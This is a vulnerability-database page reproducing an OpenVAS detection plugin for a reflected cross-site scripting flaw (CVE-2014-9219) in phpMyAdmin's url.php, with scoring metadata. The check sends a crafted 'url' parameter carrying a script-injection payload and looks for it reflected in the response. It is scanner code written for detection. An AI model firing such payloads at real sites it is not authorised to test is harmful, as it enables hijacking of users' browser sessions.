Lucene search

K
openvasCopyright (C) 2014 Greenbone AGOPENVAS:1361412562310805306
HistoryDec 22, 2014 - 12:00 a.m.

phpMyAdmin 'url.php' Cross Site Scripting Vulnerability (Dec 2014)

2014-12-2200:00:00
Copyright (C) 2014 Greenbone AG
plugins.openvas.org
34

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

AI Score

6.2

Confidence

Low

EPSS

0.002

Percentile

64.9%

phpMyAdmin is prone to cross-site scripting(XSS) vulnerability.

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:phpmyadmin:phpmyadmin";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805306");
  script_version("2024-02-19T05:05:57+0000");
  script_cve_id("CVE-2014-9219");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2024-02-19 05:05:57 +0000 (Mon, 19 Feb 2024)");
  script_tag(name:"creation_date", value:"2014-12-22 13:17:25 +0530 (Mon, 22 Dec 2014)");
  script_name("phpMyAdmin 'url.php' Cross Site Scripting Vulnerability (Dec 2014)");

  script_tag(name:"summary", value:"phpMyAdmin is prone to cross-site scripting(XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request
  and check whether it is able to read cookie or not.");

  script_tag(name:"insight", value:"Input passed via the 'url' parameter to
  url.php script is not validated before returning it to users.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to execute arbitrary HTML and script code in a user's browser
  session in the context of an affected site.");

  script_tag(name:"affected", value:"phpMyAdmin 4.2.x versions before 4.2.13.1");

  script_tag(name:"solution", value:"Upgrade to phpMyAdmin 4.2.13.1 or later.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/99137");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/71435");
  script_xref(name:"URL", value:"http://www.phpmyadmin.net/home_page/security/PMASA-2014-18.php");
  script_xref(name:"URL", value:"http://blog.elevenpaths.com/2014/12/phpmyadmin-fixes-xss-detected-by.html?m=1");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_dependencies("gb_phpmyadmin_http_detect.nasl");
  script_mandatory_keys("phpMyAdmin/installed");
  script_require_ports("Services/www", 80);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");


if(!phpPort = get_app_port(cpe:CPE)){
  exit(0);
}
if(!dir = get_app_location(cpe:CPE, port:phpPort)){
  exit(0);
}

url = dir + "/url.php?url=http://" + get_host_name() + "/%27;alert(docume"
          + "nt.cookies);a=%27";

#extra check is not possible
if(http_vuln_check(port:phpPort, url:url, check_header:TRUE,
   pattern:"';alert\(document.cookies\);a='.*</script>"))
{
  security_message(phpPort);
  exit(0);
}

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

AI Score

6.2

Confidence

Low

EPSS

0.002

Percentile

64.9%